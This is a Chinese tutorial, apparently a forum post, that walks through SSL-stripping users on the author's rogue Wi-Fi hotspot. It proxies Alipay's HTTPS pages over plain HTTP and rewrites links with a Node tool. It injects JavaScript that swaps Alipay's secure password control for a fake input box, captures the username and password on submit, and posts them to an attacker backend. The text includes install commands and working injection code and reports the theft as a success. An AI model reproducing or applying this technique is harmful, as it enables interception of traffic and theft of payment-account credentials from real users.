前两篇讲述了长缓存投毒的原理和实现。用户只要在我们的wifi下随便看个网页，就能植入一堆超长潜伏期的后门脚本。

　　究其原因，还是因为登陆页面的安全性不够。明文传输的网页，总是能轻而易举的注入脚本代码，因此存在风险也就不足为奇。

　　所以在必要的场合使用HTTPS加密传输，就能完全避免这类安全隐患。这意味着我们的入侵脚本对HTTPS无能为力了吗？

　　如果从数据解密的角度来说，确实如此。

　　尽管流量完全在我们的掌控之中，然而用户的私钥却在自己的内存里。我们只能眼睁睁的看着一个被锁着的保险箱在移来移去，却不知道里面藏着什么。

　　当然，这也不代表完全不能获取HTTPS里的数据。如果我们给想入侵的网站伪造一个证书，于是就能用自己的公钥换来用户的私钥，于是就能。。。

　　这么伟大的想法也只有**GFW才会用，最终的结果就是在地址栏上一个醒目的红叉：无效的证书！给用户一个莫大的惊喜。

　　

　　除此之外，再也没有解开HTTPS数据的办法。数据都没法解开，更不用说修改了。到此，我们的HTTPS脚本投毒计划彻底泡汤了。

　　但！是！这并不意味我们不能得到用户的信息 —— 我们虽然解不开HTTPS的数据，但可以让用户别进HTTPS的站点。这句话很奇怪吗？

　　仔细回想一下 ，你上支付宝网站难道是在地址栏里一个字一个字的敲入ｈｔｔｐｓ：／／．．．然后回车的吗？显示不是，相信绝大多数人直接从www开始输入，然后敲完www.alipay.com就进入了。

　　浏览器又是怎么知道www.alipay.com这个一个HTTPS站点呢。调出控制台观察：

　　 

　　

　　显然第一次请求是当普通的网站来访问的。这个普通的网站确实也存在，但唯一的功能就是把用户重定向到HTTPS的站点下。于是我们在地址栏里看到的就是HTTPS版的支付宝页面了。

　　仔细在看的话，或许你已经看出破绽来了：最开始的HTTP302重定向是明文传输的！我们完全可以把用户重定向到其他网站上去~ 当然这么做或许太明显了，即使做一个克隆版的支付宝页面，多多少少都有一些山寨的痕迹，很容易被用户察觉。

　　为了能有更强的隐蔽性，我们直接使用支付宝默认的资源。通过我们的node程序，来实现 (用户HTTP) <=>  我们的代理 <=> (支付宝HTTPS)。

　　

　　

　　node自带了HTTPS请求模块，并且接口和HTTP完全一致，我们可以用很少的代码把两者桥接起来。

　　我们只需在上一篇Demo的基础上，增加HTTP 302的判断即可。如果服务器要求重定向到HTTPS网站，那么这个应答就不返回给用户了，而是模拟用户去访问HTTPS资源，收到数据后再回复给用户。因此，在用户看来，整个网站始终都是HTTP站点。因为返回给用户的是明文的HTTP数据，于是我们又可以在网页里注入脚本了！

　　

　　原理虽然很简单，但是网页里存在绝对路径的HTTPS资源就麻烦大了：

　　因为我们劫持是基于DNS的，用户的请求会直接发送到我们电脑的443端口上。然而，即使我们监听了tcp:443端口，收到的也只是一坨加密过的二进制数据，完全无法分析出原始报头里的Host字段，也就没法转发了（这在上一篇里已经详细吐槽了）。于是用户会出现大量资源下载超时，网页变得支离破碎。

　　要解决这个问题，我们需保证返回的HTML页面不带任何的HTTPS路径资源。

　　因此我们在网页里注入脚本之后，对HTML做一次全面的HTTPS链接扫描：只要符合https://开头的url，我们都将替换成http://，并且记录下来。以后这个URL请求到来时，就直接走HTTPS路线了。

　　在项目inject.js里实现了这个功能，事实上用正则表达式替换下很容易的。

　　

　　到此，HTTPS页面注入原理已成形。虽然不能实现缓存投毒，但用户还在我们流量内的时候，我们仍能毫无阻挡的入侵。

　　下面就来测试一下：

$ npm install -g closurether
$ closurether
　　和上次一样，让另一台电脑连上我们的热点。

　　我们在项目的asset/inject.js里加上alert('Hello World')，看看打开一个https站点的情况：

　　

　　完美运行了注入的脚本！一共弹出了两次，因为里面还有个内嵌的网页~

　　下面就和昨天捕捉网易账号一样的方法，获取用户名和密码。不过值得注意的是，支付宝的密码输入框并不是一个普通的HTML文本框，而是一个特殊插件。平时装完系统，第一次上支付宝要安装插件，就是这个所谓的安全支付控件。



　　说安全果然名不虚传，在这个控件里敲入密码不会产生任何消息事件，想用DOM事件来监听输入完全就是天方夜谭。

　　但输完密码终将要把值返回给网页提交吧，经过一番断点跟踪分析折腾，控件返回给网页的并非是真正的密码值，而是经过不可逆加密后的密码（原始密码早就在内存里销毁了）。

　　看来要想破解这个控件难度很大。不过我们仅仅为了得到用户的用户名和密码而已，至于能不能正常登陆上不用管。因此，我们只需自己创建一个HTML文本框，外观做的和他完全一样，然后替换掉就行了。

var $ = function(v){return document.querySelector(v)};

$('.alieditContainer').innerHTML =
    '<input type="password" id="pwd" style="width:100%;border:double 3px #ccc" />';
　　

　　这里演示而已，做的还不是很像：）



　　然后监听表单提交事件：

$('form').addEventListener('submit', function(){
    var usr = $('#logonId').value;
    var pwd = $('#pwd').value;

    alert('User: ' + usr + '\n' + 'Pwd: ' + pwd);
    post(usr, pwd);
});

 

　　和上一篇一样，用把用户名密码发送到后台php上。重新打开支付宝，完整的登陆一次：



　　

　　山寨的输入框绕过了安全支付控件，密码一览无余。再来看看我们后台：

　　

　　成功捕获到了支付宝的账号和密码。

　　到此大功告成！

　　当然，因为没在真正的控件里填密码，用户登陆肯定总是失败的。因此，我们还可以考虑之后不再劫持这个用户的支付宝页面，让他能正常使用。

[课程]Linux pwn 探索篇！

上传的附件：

• 1.png （72.01kb，7次下载）
• 2.png （44.49kb，4次下载）
• 3.png （217.38kb，5次下载）
• 4.png （166.85kb，8次下载）
• 5.png （76.25kb，4次下载）
• 6.png （515.89kb，5次下载）
• 7.png （50.98kb，6次下载）